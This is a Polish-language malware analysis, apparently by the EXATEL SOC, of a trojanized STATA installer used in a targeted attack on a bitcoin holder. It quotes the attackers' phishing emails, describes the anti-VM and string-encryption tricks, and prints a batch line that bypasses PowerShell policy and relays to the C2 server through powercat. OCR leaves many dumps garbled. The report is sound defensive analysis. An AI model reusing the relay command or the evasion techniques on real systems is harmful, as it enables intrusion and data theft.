EXATEL

Paranoicy

Czy jestes paranoikiem? Jesli tak... to mozliwe, ze dobrze.
Jedli nie — czytaj dalej — moze nim zostaniesz.

Postanowilismy zbada¢ przypadek zgtoszenia, z ktérego analizy wynika, iz paranoja
niekoniecznie musi by¢ czyms ztym.

Mniej wigcej miesigc temu z naszg grupg SOC skontaktowat sie posrednio poprzez
Hackerspace Warszawa polski programista. Jak ttumaczyt, znaczng ilo§¢ swoich pieniedzy
przechowuje w postaci bitcoin’éw i podejrzewa, ze ktos mogt podjgé probe przeprowadzenia
wycelowanego w niego ataku, najpewniej w celu pozbawienia go kryptowaluty.

Programista ten od dtuzszego czasu prowadzit korespondencje z 2 osobami piszgcymi

ze skrzynek pocztowych uniwersytetu Columbia i Imperial College of London. Osoby

te podawaly sie za pracownikéw naukowych i zwrécity sie one do niego z propozycja pracy
zdalnej przy projekcie badawczym dot. tworzenia nowych algorytméw przeznaczonych do
analizy rynku kryptowalut.

Hi
My name is[ . | am the Head of the one of research groups at the Imperial College London.

| along with my colleagues from Princeton University and Zhejiang University work on a research related to the Blockchain technology and
digital currencies for one of the banks in the United States.

Recently a free position in the group of external consultants was opened.

We are looking for a specialist who can help us to analyze the events and news that affect the exchange rate of digital currencies.

We're not looking for a specialist on a full-time basis. We need periodic consultations on various issues that interest us for the next three
months (4-5 hours per week).

| called you on: I, but there was no response.

Nalezy wspomnie¢, iz cata korespondencja byta prowadzona ze skrzynek mailowych
znajdujgcych sie w domenach obu wspomnianych uniwersytetéw.

Nie wiadomo skad nadawcy znali numer telefonu adresata, wiadomo natomiast, ze udziela
sie on aktywnie w temacie badan zwigzanych z analizg rynku bitcoindw i prowadzi badania
w tej dziedzinie — uczestniczgc w konferencjach jako prelegent. Jesli wiec zatozy¢, ze byli to
naukowcy, mogli oni zdoby¢ numer w stosunkowo waskim srodowisku ludzi zajmujgcych sie
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tg akurat dziedzing. Z drugiej strony wiadomo, iz na pewno — wbrew tresci powyzszego
fragmentu korespondencji — adresat wiadomosci nie zarejestrowat zadnych préb kontaktu
telefonicznego.

W korespondencji piszgcy do polskiego programisty wykazywali sie wiedzg merytoryczng w
tej dziedzinie. Pierwszym zadaniem testowym, ktérym miat sie zajg¢ — jesli zgodzit by sie na
wspotprace - byta by analiza algorytmu nad ktorym akurat wtasnie pracujg - algorytm
zaimplementowany zostat jezyku skryptowym znanego programu do analiz statystycznych:
STATA.

| decided not to spend it on the work with GAUSS. We'll return to this later if necessary.
| thought that firstly, it would be useful to assess the structure of the statistical data that we have to work on.

In the attachment, | grouped up a few classic examples (in STATA .dta files):
- Heteroscedasticity-1.dta - heteroscedasticity

- Fringe_dem.dta - data on hourly benefits and demographic information

- MrozPSID.dta - PSID data

To get a superficial understanding of our work, open Heteroscedasticity-1.dta using STATA and run the following commands:

> generate incomesq = income”2

>drop if exp==

> regress exp age ownrent income incomesq

>rvpplot income, xlabel(0(2)12) xline(2 4 6 8 10) ylabel(-500(500)2000) yline(0 500 1000 1500)

Then you will see a graph which shows the phenomenon that's called heteroscedasticity [ RN

Pay special attention to the structure of data in Examples 2 and 3. We also use a similar structure, but handle it in a much larger volume.

Jako, ze licencja na to oprogramowanie jest ptatna, otrzymat informacije, ze jesli wyrazi
zgode na wspotprace, zgtosi sie do niego inny pracownik uniwersytetu, rowniez pracujgcy
przy wspomnianym grancie i przekaze mu oryginalng licencje zakupiong specjalnie dla
niego. Tak tez sie stato — po kilku dniach otrzymat on wiadomos$¢ od drugiego

z domniemanych naukowcow z grupy badawczej — tym razem nadanej z domeny
uniwersytetu Columbia - wiadomos¢ zawierata 3 linki HTTP do paczek instalacyjnych
programu STATA 14, odpowiednio pod Windows, Linux i na Mac, oraz imienng licencje:
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Hello NG

Your license for STATA is ready.

STATA 14 - Windows: Windows Vista/7/8.0+/10+
https://phys.columbia.edu/~lll/software/Statal4 Win.zip
SHA1: 36c172b68dbc6a735c58fa8d1fecf66f74a75e26

STATA 14 - Mac: Mac 0SX 10.7 and above
https://phys.columbia.edu/~lll/software/Statal4 MacOSX 64.pkg
SHA1: 78d14f76247c0c02ff3d5a4d8792e0aebc7d50fd

STATA 14 - Linux: Red Hat 6+/CentOS/Ubuntu
https://phys.columbia.edu/~llll/software/Statal4 Linux 64.targz
SHA1: f13aff251aec72bdd646e34cacal5799181592f9

License information:

Name: NN

Organization: -
Serial number: [ INEEEEG_—

Code: I
Authorization: I

Jak wida¢ powyzej, wszystkie 3 pakiety instalacyjne zostaty umieszczone w domenie
uniwersytetu Columbia, na stronie prywatnej domniemanego pracownika naukowego ktory
z adresatem wiadomosci sie skontaktowat.

Jako, ze cziowiek ktéry zwrdcit sie do nas z prosbg o analize prawdziwej zawarto$ci paczek,
podobnie jak pewnie wiekszos¢ z nas jest swojego rodzaju paranoikiem — zanim nawigzat

z nami kontakt, a juz po wyrazeniu zgodny na wspotprace i otrzymaniu paczek instalacyjnych
—Sciggnat i zainstalowat wersje linuksowg STATA, w maszynie wirtualnej. A paranoja

go ocalita.

Oczywiscie, jak dobrze wiemy zte rzeczy czajgce sie w ciemnych zakamarkach kodu
maszynowego mogg catkiem sprawnie zorganizowac ucieczke z takiego czy innego silnika
wirtualizacji... ktéry w jego przypadku uruchomiony byt na tej samej maszynie fizycznej,
ktérej uzywat do przeprowadzania operaciji finansowych i dostepu do swoich zasobow
bitcoin.

Po zainstalowaniu programu, uruchomieniu i przeanalizowaniu algorytméw o ktore prosita
kontaktujgca sie ,grupa badawcza”, kontakt z grupg sie urwat — natomiast nie wydarzylo sie
nic wiecej co mogtoby sugerowac, ze byt to atak — zasoby bitcoin pozostaty state, a osoba
ktéra z nami sie skontaktowata nie odnotowata zadnych niepokojgcych symptomow

w kontekscie zachowania systemu operacyjnego, czy nieautoryzowanych logowan do
posiadanych systeméw.

Analitykowi udato sie sciggnac tylko dwie z trzech wersji instalacyjnych (Windows i Linux),
zanim wszystkie zostaty usuniete z serwera uniwersytetu Columbia.

Na pytanie czy mamy do czynienia z niezdrowg paranojg czy z atakiem targetowanym udato
sie odpowiedzie¢ w zasadzie po kilkunastu minutach od rozpoczecia analizy.
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Pierwszy rzut oka
W obu pobranych pakietach instalacyjnych znajdowato sie — faktycznie — oprogramowanie
STATA 14 do prowadzenia analiz statystycznych.

Po zakonczeniu instalacji w maszynie VMWare programu STATA pod Windows:

SeTES

Completing the Stata Setup
Wizard

Setup has finished installing Stata on your computer. The
application may be launched by selecting the installed
shortcuts.

Click Finish to exit Setup.

re

Finish

instalator uruchamia automatycznie plik programu gtéwnego STATA: smStata.exe
(MD5: C9905FEC55576829D15461616F056B75), ktdry natychmiast wyswietla nam
komunikat o niekompatybilno$ci tej wersji STATA ze Srodowiskami wirtualizaciji:

EN Authorization Error x|

This version of Stata has not been authorized to be installed on a virtual machine
Please contact support for additional information
Code: 21-ic-vm-error

OK
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Po szybkim rzucie oka na plik binarny (o wielkosci zaledwie 60KB), ktory wyswietla
powyzsze okienko, okazuje sie, ze nie tylko nie jest to plik modutu giéwnego STATA
(ktorym tak naprawde jest 24-megabajtowy plik sm.exe):

2y Qt5Gui dil 5,283,840 06/10{/2016 00:23
QtSNetwork dil 1,610,240 06{10{2016 00:17
Qt5Svg dil 348,160 064102016 10:51
Qt5¥idgets dil 6,358,528 061102016 00:29
ssleay32 dil 462,336 1212812015 15:52

dta 6.443 0910712016 01:32
exe 24,980,192 091/07{2016 01:32
exe 63,920 057202016 15:02
exe 1,202,385 1111712016 23:44
html 196 0970772016 01:32

ale dodatkowo zostat on napisany z uzyciem biblioteki QT5 i skompilowany windowsowg
wersjg kompilatora GCC (Mingw), podczas gdy wiasciwy modut gtdwny oparty zostat
o framework MFC i zbudowany w srodowisku Visual C++.

Analiza certyfikatéw, ktérymi podpisane zostaty oba pliki wykonywalne (modut gtéwny
STATA i - jak zatozyliSmy — mniejszy plik zawierajgcy loader modutu gtdwnego) okazato sie,
iz certyfikaty wydane zostaty dla roznych instytucji. Plik modutu gtéwnego (sm.exe) zostat
podpisany przez certyfikat wydany przez CA Symantec’a dla firmy ,StataCorp LP”:

g‘ Certificate Information

This certificate is intended for the following purpose(s):

* Ensures software came from software publisher
* Protects software from alteration after publication

*Refer to the certification authority's statement for details.

Issued to: StataCorp LP

Issued by: Symantec Class 3 SHA256 Code Signing CA

valid from 3/ 16/ 2016 to &/ 16/ 2018

z siedzibg w Teksasie:
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Field | value | a]
|:] Signature algorithm sha256RSA

|j Signature hash algorithm sha256

|szsuer Symantec Class 3 SHA256 Cod...

(=] valid from Wednesday, March 16, 2016 ...
|jVaIid to Saturday, June 16, 2018 12:5...

(=] Public key RSA (2048 Bits)

@Basic Constraints Subject Type=End Entity, Pat... L‘

CN = StataCorp LP
O = StataCorp LP
L = College Station
S =Texas

C=US

Natomiast plik loader'a modutu gtéwnego STATA ktory wyswietlit nam komunikat btedu
uruchomienia w silniku wirtualizacji (smStata.exe) podpisany zostat przez certyfikat wydany

dla instytucji ,NNM Dev LLC”:

Issued to: NNMDev LLC
Issued by: GlobalSign Extended Validation CodeSigning CA -

SHA256 -G3

Valid from 9/ 13/ 2016 to 9/ 14/ 2017

znajdujgcej sie w... Moskwie, na ulicy Entuziastov 2:
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Field ‘ Value ] ;I
|:lIssuer GlobalSign Extended Validation...

|:| Valid from Tuesday, September 13, 2016...

|:| Valid to Thursday, September 14, 201... J
Subjec‘t NNM Dev LLC, NNM Dev LLC, ...

= | public key RSA (2048 Bits)

.5_| Authority Information Access  [1]Authority Info Access: Acc...
.5_|Certiﬁcate Policies [1]Certificate Policy:Policy Ide...

.£| Basic Constraints Subject Type=End Entity, Pat... LI

O =NNM Dev LLC

STREET = ul. Entuziastov 2-Ya, d. 5 korp. 40 pom. III kom. 13
L = Moscow

S = Moscow

C=RU

1.3.6.1.4.1.311.60.2. 1.2 = Moscow
1.3.6.1.4.1.311.60.2.1.3 =RU

SERIALNUMBER = 1157746472190

2.5.4.15 = Private Organization

Ll ]

Okazato sie réwniez, ze po zainstalowaniu i uruchomieniu badanych instalatoréow STATA czy
to w wirtualnym Srodowisku Linux czy na fizycznej maszynie Windows — komunikat btedu nie
pojawia sie. Zamiast niego uruchamia sie wlasciwy program Stata proszgcy o licencje. W tle
natomiast, modut startowy ktéry wczesniej wyswietlit nam komunikat btedu, nawigzuje
komunikacje HTTP z serwerem ,stata14lic.org” (domena zatozona 26 wrzes$nia 2016 r.),

z ktérego pobierany jest i uruchamiany w tle programu gtéwnego STATA na obu systemach
operacyjnych, 64-bitowy plik wykonywalny (PE MD5:57a38c92bd5c8b10d6b2348fc73731d6
/ ELF MD5: 9dc9c72c68e1229765ad1ed8efdbada4).

Jak sie okazato w trakcie dalszej analizy, obie wersje pliku wykonywalnego nalezg do jednej,
nieznanej rodziny spyware, najprawdopodobniej zbudowanej specjalnie do przeprowadzania
atakow APT.

Pod podszewka...

Wyswietlone okienko z ostrzezeniem od producenta STATA to tak naprawde mechanizm
anty- wirtualizacyjny spyware: 3 osobne petle enumerujg nazwy kart graficznych
zainstalowanych w systemie i sprawdzajg czy ktoras z nich nie zawiera fancuchow
tekstowych o warto$ciach: ,VMware”, ,VirtualBox” lub ,Parallels”:
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Jesli ktérys tancuch zostanie zidentyfikowany, wyswietlany jest wczesniej wspomniany
komunikat o ,btedzie autoryzacji’, uzywajgc funkcjonalnosci GUI biblioteki QT:

ion0fS 3 "This version of Stata has not been auth”...

; aAuthorizationE 3 "Authorization Error”

Trzeba przyznac, ze zabieg socjotechniczny jakim postuzyli sie atakujgcy wyswietlajgc
komunikat o btedzie autoryzacji, sugerujgcy do tego by skontaktowac sie z producentem
oprogramowania byt bardzo sprytny. Mechanizm autoryzacyjny tego typu mogtby faktycznie
istnie¢ w programie takim jak STATA, jako sktadnik zabezpieczen antypirackich,
uniemozliwiajgcych zamrozenie i sklonowanie wirtualnej maszyny z juz zautoryzowang do
serwera licencji sesjg programu. Dodatkowo atakujgcy dobrze wiedzieli, ze sg bardzo nikte
szanse na to, ze ofiara zdecyduje sie faktycznie skontaktowac¢ z producentem STATA, lecz
taki komunikat da jej pewng ztudng opcje wyboru, moggc przy¢mic jej czujnosc i wptyngé na
decyzje o instalacji programu na fizycznej maszynie.
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Uruchamiajgc ponownie plik startowy (smStata.exe) w wirtualnej maszynie, i modyfikujac 3
skoki warunkowe sprawdzajgce wartosci zwracane przez 3 kolejne funkcje detekgc;ji
wirtualizacji, sprawiamy, ze malware przestaje ,mys$lec”, ze jest w uruchomiony w wirtualnej
maszynie:

5
a
%

._cN120Appl icat ionD1Ev>]

i zaczyna wykonywac¢ to co ma zaprogramowane w razie uruchomienia na fizycznej
maszynie. Najpierw uruchomia wtasciwy program STATA (sm.exe), ktéry zaraz po
uruchomieniu pyta nowego uzytkownika o licencje.

3% Initialize License x|

Enter your license information to initialize Small Stata for Windows.

Name: | |

Organization: |

Serial number: |

Code: |

Authorization: I

< Back I Next > I Cancel

Natomiast w tle, modut startowy malware pobiera z domeny stata14lic.org wspomniany 64-
bitowy modut gtéwny spyware:
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stataldlic.org/lice

Nazwa domeny zostata najprawdopodobniej wybrana by zasugerowac¢ podejrzliwej ofierze
(nastuchujacej np. komunikaciji sieciowej z wirtualng maszyng przy pomocy wireshark’a),
przed ktdrg na ekranie wiasciwy program STATA wyswietlit wiasnie okno proszgce o dane
licencji, iz nawigzywana jest komunikacja z serwerem licencji STATA.

Po pobraniu modutu gtdwnego malware zostaje on uruchomiony rownolegle z dziatajgca
w tle prawdziwg aplikacjg STATA 14.

Dekompresja

Pobrany plik modutu gtéwnego posiada mechanizmy anty-debug, jest zobfuskowany,
dekoduje i przekazuje wykonanie do umieszczonego w nim spakowanego wiasciwego pliku
PE, za kazdym razem w trakcie swojego uruchomienia. Po pobraniu i zdetonowaniu modutu
gtébwnego przez modut downloadera zagniezdzony w spreparowanym instalatorze STATA,
modut gtéwny umieszcza swojg kopie w katalogu ,%USER%\AppData\Roaming\Sun\Java’,
pod nazwa ,jvmmrg.exe”, uruchamia jg i konczy swoje dziatanie.

Omijajac debugerem procedure dekompresji PE, lokalizujemy oryginalny entrypoint po
zdekodowaniu zagniezdzonego wtasciwego pliku PE:
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o 5B pop rbx
o SE pop rs
e || 000C i({l. SF pop
o S|k, C3 ret
RIP RDX ROgurd f. 48 81 EC C8 01 00 00|sub rsp,ics
e || 00000000004 sD(l. B9 AD OF 00 00 mov ecx,FAQ
o 2 FF 15 6C 25 04 00 call gword ptr ds:[<&Sleep>
o E8 39 29 00 00 call <jvmmrg.sub_407CB6>
o ES 1B 77 00 00 call <jvmmrg.sub_40CASD>
o E8 79 BE FF FF call <jvmmrg.sub_401200>
o E8 14 4F 00 00 call <jvmmrg.sub_40A2A0>
o ES D4 08 00 00 call <jvmmrg.sub_405C65>
o E8 10 FF FF FF call <jvmmrg.sub_4052A6>
o 84 CO test al,al
r----o | 0000 8|]l.v 75 19 jne jvmmrg.4053B3
' ¢ | 000000000 S . 48 8B 0D 3F 94 01 00|mov rcx,qword ptr ds:[41E7E
- ¢ || 0000000000 . 41 B8 C8 00 00 00 mov r8&8d,Cs
! ¢ | 0000000000405 23A . 48 8D 15 16 83 01 00| lea rdx,qword ptr ds:[41D6eC.

a nastepnie generujemy zrzut pamieci procesu i naprawiamy tablice importow — w ten
sposob otrzymujemy wiasciwy, zdekompresowany plik PE (MD5:
26E4C79AF609E90EE9ES5CF1E2BDFF0B5) zawierajgcy widoczng juz gotym okiem bardzo
wymowng tablice tancuchow tekstowych.

Dalej mozemy kontynuowac juz analize uzywajgc tego wtasnie pliku, podmieniajgc
zabezpieczony / skompresowany modut giéwny (umieszczony w powyzszej $ciezce) na
modut przez nas wyekstrahowany (omijajgc w ten sposéb kazdorazowe sprawdzenie,
wykonywane przez malware przy uruchomieniu, ktérym upewnia sie on, ze jest umieszczony
wiasnie w tym katalogu).

Komunikacja z operatorem

Zaraz po inicjalizacji, spyware nawigzuje szyfrowang komunikacje ze swoim serwerem
wydawania rozkazoéw, uzywajgc docelowego adresu IP (103.234.220.230) wkompilowanego
w kod:

ST

; CODE XREF: start+321J

+1C8h+WSADatal ; LpWSAData
; wlersionRequested

Po nawigzaniu komunikacji, malware co 10 sekund zgtasza do operatora C&C swojg
gotowosc¢ wysytajgc komunikat ,heartbeat”:
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c7
4C
43
43
Cc?
4C
ES
24
74
c?
49
41
29
EA
ES

stat ("/etc/resolv.conf", {st mode=S IFREG|0644, st size=57,
Socket(PFilNET, SOCK_STREAM, IPPROTO_TCP) = 3
connect (3, {sa family=AF INET, sin port=htons (443),

sin addr=inet addr("103.234.220.230")}, 16) = -1 ENETUNREACH
shutdown (3, SHUTiRDWR) = -1 ENOTCONN
close (3) =0
nanosleep ({10, 0}, NULL) =0
stat ("/etc/resolv.conf", {st mode=S IFREG|0644, st size=57, ...}) = 0
Socket(PFilNET, SOCK_STREAM, IPPROTOiTCP) =3
connect (3, {sa family=AF INET, sin port=htons (443),

sin addr=inet addr("103.234.220.230")}, 16) = -1 ENETUNREACH
shutdown (3, SHUTiRDWR) = -1 ENOTCONN
close (3) =0
nanosleep ({10, 0}, NULL) =0
stat ("/etc/resolv.conf", {st mode=S IFREG|0644, st size=57, ...})
Socket(PFilNET, SOCK_STREAM, IPPROTOiTCP) =3
connect (3, {sa family=AF INET, sin port=htons (443),

sin addr=inet addr("103.234.220.230")}, 16) = -1 ENETUNREACH
shutdown (3, SHUTiRDWR) = -1 ENOTCONN
close (3) =0
nanosleep ({10, 0}, NULL) =0

Przechwytujgc bufory wejsciowe przekazane jako argumenty funkcji szyfrujgcej komunikacje
(EncryptC2Payload):

oo
LY XY liy |

89

mozemy podstuchiwac¢ niezaszyfrowang komunikacje wychodzgca z malware.
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Poza pakietami ‘heartbeat’ wysytanymi co 10 sekund, jeden z pierwszych pakietéw
przechwyconych na wejsciu funkcji zaraz przed jego wystaniem do C&C zawiera ogdlne
informacje o zainfekowanej maszynie, m.in.: wygenerowany przy infekcji losowy identyfikator
maszyny ofiary (Hostld-oKk2S), nazwe uzytkownika (‘pinky’), nazwe zainfekowane;j
maszyny (‘SB07’) oraz date infekcji ('2016/11/09 03:17:23’):

000000000221842C e ?+7Host Id-0KK2S
000000000221843C Geoenccccancocns
000000000221844C Ceeeeecccncenens
000000000221845C Ceeeeececnnenens
000000000221846C ceee

000000000221847C boccoconannanan
000000000221848C ceeeeececnaenens
000000000221849C Ceeeeeceenaenens
000000000221 84AC oo .-
00000000022184BC Ceeeeecesncenens
00000000022184CC Ceeeeeceenaenens
00000000022184DC Ceeeeeceenaenens
000000000221 84EC ce eS0T eccccaee
000000000221 84FC Ceeeeeeccncenens
000000000221850C Ceeeeeecenaenens
000000000221851C Ceeeeeccenaenens
000000000221852C B P
000000000221853C Ceeeeececncenens
000000000221854C Ceeeeeceenaenens
000000000221855C Ceeeeeceenaenens

00000000022186EC cecssssscccssccnse
00000000022186FC cecssssscccssccnse
000000000221870C cesssssscccscccnse
000000000221871C cecssssscccssccnse
000000000221872C +ee02016/11/09 0
000000000221873C 3:17:230cc0ccccee
000000000221874C cesssssscccssccnse
000000000221875C cessssssccscccnse

Chwile po nawigzaniu potgczenia z C&C wysytany jest do niego réwniez 10 bajtowy bufor z
adresem publicznym ofiary, pobranym zapytaniem HTTP do domeny checkip.dyndns.org:

00000000029CFAEO0 33 31 2E 30 2E 34 37 2E 33 35 00 00 00 00 00 00 31.0.47.35ecccc-

Potaczenie relay z serwerem z C&C — ominiecie
lokalnego firewalla.

W Srodku zdekodowanego PE zagniezdzone zostaty (w tekscie jawnym) dwa skrypty.
Pierwszy z nich to kopia narzedzia Powercat (https://github.com/besimorhino/powercat),
czyli powershell’'owej implementacji narzedzia Netcat:
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0....0% 0....U%ND....J%>0....0%.0....0%.0....4%.0....U%pN

- G%EP . LGP U%OP . L L BTP L GNP L GROP . L L G%P . %P %.P. ..
%Zb0. ... Y%I0....5%P0. ... y%I0....%%0....%B0....y%00....j%H0... . j%™~0

.- -U%NnK

yij function powercat.{. paranm(. [alias(
"Client")][string]$c=""",. [alias("Listen")][switch]$1=$False,. [alias
{("Port")][Parameter(Position=-1)][string]$p="", . [alias{"Execute")][stri
ng]$e=""",. [alias("ExecutePowershell™)][switch]$ep=%False,. [alias("R

elay")][string]$r="",. [alias("UDP')][switch]$u=$False,. [alias(''dnsc
at2")][string]$dns=""",. [alias("'DNSFailureThreshold")][int32]8dnsft=10,.
[alias("Timeout')][int32]$t=60,. [Parameter(ValueFromPipeline=$§True)
J[alias("Input™)]1$i=$null,. [ValidateSet('Host', 'Bytes', 'String')][ali
as{"OutputType')][string]$o=""Host",. [alias(''OutputFile")][string]$of=""
. - [alias("Disconnect™)][switch]$d=$False,. [alias{"Repeater')][switc
h]$rep=$False,. [alias("GeneratePayload")][switch]$g=%False,. [alias(
"GenerateEncoded")][switch]$ge=$False,. [alias(''Help")][switch]$h=$§False
. )..  HUBREEEHBGHHHEE HELP HE##Buuu##sssss. SHelp = " ._powercat - Netcat,
The Powershell VUersion.Github Repository: https://github.com/besimorhino/p
owercat..This script attempts to implement the features of netcat in a pouwe

Drugi skrypt to skrypt powtoki Windows uruchamiajgcy powyzszy skrypt powercat’a,
zestawiajacy przy jego pomocy potgczenie relay miedzy serwerem C&C a malware,
kierowane poprzez lokalny listener TCP powercat’a na porcie 4000:

@echo off
:loop
cmd.exe /c powershell; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope
Process -Force;. "%s'; powercat -1 -p 48080 -r tcp 103.234.220.230:443;

goto .loop
D§yT¥nUlawlIQJ,InTIyUE?quoFEI]I YE}P1; D§;IiE
fuSH, Geol EQNQi{i.0C«ED ,AT!=pE59»

cmyi” a\lllIuJe2B-ka9al€+<}1>I<EﬂwéLNﬁ

*SI8UT\ade-likYOMG<4¢™T <%0 : -AT M 1868 - “Kzii DSEN{E

Dodatkowo skrypt powtoki, przed zestawieniem potgczenia posredniczgcego, probuje nadac
procesowi potgczenia posredniczgcego uprawnienia administratorskie (”Set-
ExecutionPolicy -ExecutionPolicy Bypass -Scope Process —Force”).

Ponizszy kod zapisuje na dysk oba skrypty, uruchamiajgc drugi z nich:
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- ionPowerc : "function po snds parami™n
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Uruchomienie skryptu nastepuje tylko po zweryfikowaniu, ze proces ,ns.exe” znajduje sie na
liscie procesow (plik nalezy do oprogramowania Symantec Norton Security):
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; th32ProcesslID
; dwFlags

_ ; hSnapshot
81 66 68

3
B
E
s
4
I4
4
4
C
4
4
E

CO00O0=JOOOO A 0O Q0000
OO0 AN ONOE0D
WOODLOODDNEW MM

lppe

; hObject

MO TR0
m=Toonon
MOS0
oORNWoS

; hObject

D= 00D CI~J0000
O=NuoomOo

oc_48535E

Mechanizm ten jest wiec tak naprawde probg uniknigcia wykrycia przez lokalny firewall
programu Norton Security, ktéry mogtby zidentyfikowac probe nawigzania zdalnego
potgczenia TCP przez niezaufany proces uruchomiony z katalogu domowego uzytkownika.
Autorzy malware postanowili przekierowaé komunikacje uzywajac lokalnego potgczenia TCP
z serwerem skryptu powershell, posiadajgcym token lokalnego administratora, gdyz
najwyrazniej ten mechanizm pozostaje niezauwazony dla tego programu antywirusowego.

Nie wykluczone réwniez, iz mechanizm ten moze stuzy¢ do umozliwienia komunikacji peer-
to-peer z zainfekowang maszyng odcietg od bezposredniej komunikacji ze swiatem,
komunikujaca sie jedynie z komputerami z wewnetrznej korporacyjnej sieci LAN, w ktorej
znajduje sie drugi zainfekowany komputer (z ktérego operator malware mégt eskalowa¢ atak
na pozostate komputery w sieci LAN).

Procedura weryfikacji obecnosci procesu ,ns.exe” i ew. uruchomienia skryptu powershell,
inicjowana jest w dosc¢ oryginalny sposob — przez kod znajdujgcy sie wewnatrz procedury
obstugi okna gtéwnego malware, w reakcji na otrzymany komunikat BM_CLICK (kod 0xF5) —
komunikat uzywany do symulowania kliknie¢ myszkg w okno:

MOB =TI

1
F
g
&
g
1

33

Komunikat ten wysytany jest przez malware (do swojego wtasnego niewidocznego okna)
tylko raz — w trakcie inicjalizacji malware, zaraz po utworzeniu okna:
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; hlind

LParam
7 wParam

: Msg
; hlind

QO 00T]
DU =Y

Jedng z mozliwych przyczyn zastosowania przez autora malware takiej akurat procedury
inicjacji mechanizmu omijania lokalnego firewall’a mogta by¢ che¢ utraty przez analityka
kontroli nad ciggtoscig wykonania kodu w trakcie analizy dynamiczne;j.

Pojemnik szyfrowanych fancuchéw tekstowych

Malware posiada mechanizm ochrony farncuchow tekstowych ktére autor uznat z jakichs
przyczyn za szczegOlnie wrazliwe. W trakcie dziatania malware kazdy potrzebny w danym
momencie string jest na zgdanie deszyfrowany i pobierany z szyfrowanego pojemnika, a po
uzyciu zawartos¢ jego bufora jest niszczona. Podczepiajgc sie pod wyjscie procedury
deszyfracji pojedynczego tancucha (na instrukcji powrotu z procedury) otrzymamy
zdekodowany bufor wskazany przez rejestr R9 oraz jego wielkosc¢ (rejestr RAX):

p+ril+148h+var_1181]

MELDLDLLLLL LSS LTI
OOOLAQOARODLDOOLD
MNELLAQDLENLEOROLRT

]
w0

oo
WMo

Podtaczajgc logowanie do pliku wartosci fancucha wskazywanego przez R9 na wyjsciu,
zarejestrowalismy nastepujgca sekwencje, zaraz po uruchomieniu malware:

"127.0.0.1:4000;"
"Password"
"HostId-%Rand%"
"Default Group"

"$AppData%\\Sun\\Java\\jvmmrg.exe"
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"JVMM"

"000011"
"010"

Mys$Iniki oznaczajg brak stringa o danym kodzie w szyfrowanym pojemniku — mozliwe, ze
w tej wersji malware autor usunat te wiasnie tancuchy gdyz nie byty potrzebne do
funkcjonalnosci do ktérej ta wersja malware zostata skonfigurowana. Rozpoznajemy
pierwszy fancuch "127.0.0.1:4000;", wspominany juz wczesniej przy skrypcie uzytym do
obejscia lokalnego firewall’a przy komunikacji z C&C. Lancuch
"%AppData%\\Sun\\Java\\jvmmrg.exe” to Sciezka pod ktdrg znajduje sie modut gtéwny
malware — pobierana na wypadek jesli uruchomienie nastgpito z katalogu % TEMP%

w wyniku pierwszego uruchomienia modutu po $ciggnieciu z serwera stata14lic.org.
Krytycznym dla funkcjonalno$ci programu jest tancuch ,000011”, ktéry zawiera wbudowang
przez autora konfiguracje malware. Jak opiszemy dalej doktadniej — warto$¢ ta zawiera
zestaw flag, uruchamiajgcych bgdz wytgczajgcych poszczegoline, wkompilowane w kod
funkcjonalnosci spyware. Zastanawia umieszczenie w pojemniku tancucha ,Password”,
ktéry juz znajduje sie w umieszczony w formie tekstu jawnego w pliku binarnym modutu
gtéwnego, i jest uzyty m.in. przy opisanej dalej funkcjonalnosci ekstrakcji haset
zapamietanych w oprogramowaniu ofiary. Czyzby wyttumaczeniem byt fakt, ze przy malware
pracowat wiecej niz jeden programista, a gdzie kucharek szes¢...

Poniewaz tej samej funkcji szyfrujgcej kod uzywa réwniez do enkrypcji pliku
konfiguracyjnego (default.conf), mozemy pozwoli¢ by malware odszyfrowato za nas jego
zawarto$¢ w czasie pracy. Zaszyfrowany plik konfiguracyjny badanego spyware w wersji dla
Linux, znajduje sie w lokalizacji:

~/.config/.default.conf
natomiast dla wersji Windows:

%USER%\AppData\Roaming\Sun\Java\.default.conf

cat ~/.config/.default.conf
00000000 41 eb 77 ec 76 15
00000010 Ob 6f 1d d8 da e9
00000020 95 0d 01 c9 ba 5b [M<S$.g.J/.a|

00000030 8b 59 56 bd ed 74 | oYWV o o Eodroll M@, |
00000040 52 73 76 ea 8c db

00000050 da 08 1b 98 2b ec

00000060 39 3f 5b e5
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Jego postac po odszyfrowaniu zawiera losowy identyfikator hosta ofiary (Hostld-oKk2S),
tancuch ‘Default Group’ znajdujgcy sie rowniez w powyzszym logu dekrypcji pojemnika
stringdw, oraz date infekcji:

0000000000443960 La?+HostId-oKk2S
0000000000443970 Poooooooo0000000
0000000000443980 eseeDefault Grou

0000000000443990 Peooooooososonoe
00000000004439A0 «+++2016/11/09 0
00000000004439B0 -

Pozdrowienia od autora

Badany malware tworzy witasne okno, niewidoczne dla uzytkownika, ktérego procedura
obstugi jest odpowiedzialna m.in. za utworzenie watku komunikacji z C&C. Do tego celu
rejestruje wiasng klase okna o nazwie TFrmMain udajgc w ten sposob standardowg klase
okien uzywanych przez aplikacje pisane w z uzyciem biblioteki VCL firmy Borland:
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Nastepnie tworzy okno o nazwie ,Microsoft Windows” i rozmiarach 6x6 w pozycji rownej
w pionie rozdzielczosci pionowej ekranu powiekszonej o 10: czyli w rezultacie schowanego
tuz pod dolnym brzegiem ekranu:
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Pomimo, iz okno jest niewidoczne, procedura obstugi okna, posiada wbudowang przez
autora funkcje obstugi komunikatu WM_PAINT (0x0f), czyli obstugi zgdania od$wiezenia
/ rysowania okna:
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Sekcja kodu odpowiadajgca za obstuge tego komunikatu wypisywataby na oknie (gdyby byto
widoczne i odpowiednich rozmiaréw) tekst ,Hello !”. Tekst zostat wkompilowany w kod jako
wartos¢ natychmiastowa mieszczgca sie bez problemu w cato$ci w 64-bitowym rejestru
RAX, prawdopodobnie by uniknaé bycia wykrytym przez parsery stringéw (np. IDA PRO)
szukajgce standardowo tancuchow tekstowych w sekcjach danych pliku PE:
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D8 FF FF EB 11 E8 FF D9 FF FF +--d.F-+--3+t_He
F1 ES8 AF DD FF FF 48 81 C4 38 +F»!--H.-8...["+
H+Hello- ! .UWUHE+
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84 CO 74 61 E8 F1 FE FF FF EB d+taFs!--d21+-.0
21 04 60 EB 4C 48 8D 5C 24 38 t . .dLH.\$8HE+- .-

Kod ten jest prawdopodobnie pozostatoscig kodu testujgcego wyswietlanie komunikatow,
ktéry programista tworzacy malware pozostawit ukryty, zostawiajgc te funkcjonalnos¢ dla
celow testowych. Z drugiej strony, by¢ moze miat poczucie humoru i czekat az ktos zmusi
pomniejszone, ukryte okno do wyswietlenia swojej zawartosci... by sie przywitac.

